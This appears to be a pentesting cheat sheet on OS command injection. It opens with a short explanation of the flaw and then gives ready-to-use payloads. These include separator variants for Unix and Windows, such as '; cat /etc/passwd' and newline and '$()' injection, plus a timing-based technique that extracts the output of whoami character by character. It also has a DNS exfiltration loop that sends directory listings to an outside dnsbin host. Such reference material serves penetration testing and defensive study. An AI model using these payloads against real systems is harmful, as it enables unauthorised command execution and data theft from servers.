Command Injection is a critical vulnerability that allows an attacker to execute arbitrary system commands on a server hosting an application. If an application improperly handles user input and passes it to the operating system, an attacker can escape the intended function and execute system commands with the same privileges as the application.
Depending on where your input is being injected you may need to terminate the quoted context (using " or ') before the commands.
๐ ๏ธ How Command Injection Works
Applications that interact with the OS (e.g., calling system functions) without properly validating user input can be exploited.
๐ก Problem: The script takes the user parameter and directly appends it to the ping command without validation.
๐ฃ Attack: Inject ; cat /etc/passwd to execute an extra command!
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2ยบ if 1ยบ finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2ยบ
ls %0A id # %0A Execute both (RECOMMENDED)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
Limition Bypasses
If you are trying to execute arbitrary commands inside a linux machine you will be interested to read about this Bypasses:
swissky@crashlabโธ ~ โธ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlabโธ ~ โธ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
DNS based data exfiltration
Based on the tool from https://github.com/HoLyVieR/dnsbin also hosted at dnsbin.zhack.ca
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done